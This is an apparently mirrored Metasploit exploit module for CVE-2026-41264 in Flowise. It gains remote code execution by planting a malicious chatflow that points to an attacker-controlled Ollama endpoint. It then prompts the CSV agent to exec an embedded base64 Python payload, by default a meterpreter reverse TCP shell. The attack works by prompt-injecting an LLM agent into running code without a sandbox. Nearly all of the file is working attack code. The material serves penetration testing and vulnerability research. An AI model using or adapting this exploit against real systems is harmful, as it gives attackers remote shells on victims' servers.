Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-FLOWISE_AUTH_RCE_CVE_2026_41264-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Flowise
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise CSV Agent Prompt Injection RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise.
Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSV_Agents class.
The issue results from the lack of proper sandboxing when evaluating an LLM generated python script.
An attacker can leverage this vulnerability to execute code in the context of the user running the server.
},
'Author' => [
'zdi-disclosures', # Vulnerability discovery
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-41264'],
['GHSA', '3hjv-c53m-58jj']
],
'Platform' => %w[unix linux win],
'Arch' => [ ARCH_CMD ],
'Payload' => {
'BadChars' => "'"
},
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
# not tested
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DisclosureDate' => '2026-04-22',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000,
'FETCH_DELETE' => true
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options([
OptString.new('APIKEY', [ true, 'Flowise API Key (chatflows:create permission required)']),
OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker']),
OptString.new('MODEL', [ true, 'Valid ollama model name']),
])
end
def check
version = flowise_get_version
return CheckCode::Unknown('Could not retrieve Flowise version.') unless version
return CheckCode::Appears("Flowise version #{version} detected") if version.between?(Rex::Version.new('1.3.0'), Rex::Version.new('3.0.13'))
CheckCode::Safe("Flowise version #{version} detected")
end
def exploit
# create chatflow
flow = exploit_data('CVE-2026-41264', 'cve_2026_41264.json')
flow = flow.gsub('__NAME__', rand_text_alphanumeric(8))
flow = flow.gsub('__MODELNAME__', datastore['MODEL'])
flow = flow.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
flow = flow.gsub('__PAYLOAD__', Rex::Text.encode_base64("pythoncode\nimport os as pandas;pandas.system('#{payload.encode}')"))
flow = flow.gsub('__FILENAME__', rand_text_alphanumeric(8) + '.csv')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/chatflows'),
'headers' => {
'Authorization' => "Bearer #{datastore['APIKEY']}"
},
'ctype' => 'application/json',
'data' => flow
})
fail_with(Failure::Unknown, 'Failed to create a chatflow.') unless res&.code == 200
@id = res&.get_json_document&.[]('id')
fail_with(Failure::Unknown, 'Failed to retrieve a chatflow id.') unless @id
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/prediction/#{@id}"),
'headers' => {
'Authorization' => "Bearer #{datastore['APIKEY']}"
},
'ctype' => 'application/json',
'data' => {
'question' => 'exec(df["pythoncode"].iloc[0])'
}.to_json
})
end
def cleanup
super
if @id
res = send_request_cgi({
'uri' => normalize_uri(target_uri, "api/v1/chatflows/#{@id}"),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{datastore['APIKEY']}"
}
})
print_status('Failed to delete chatflow. Lack of chatflows:delete permission?') unless res&.code == 200
end
end
end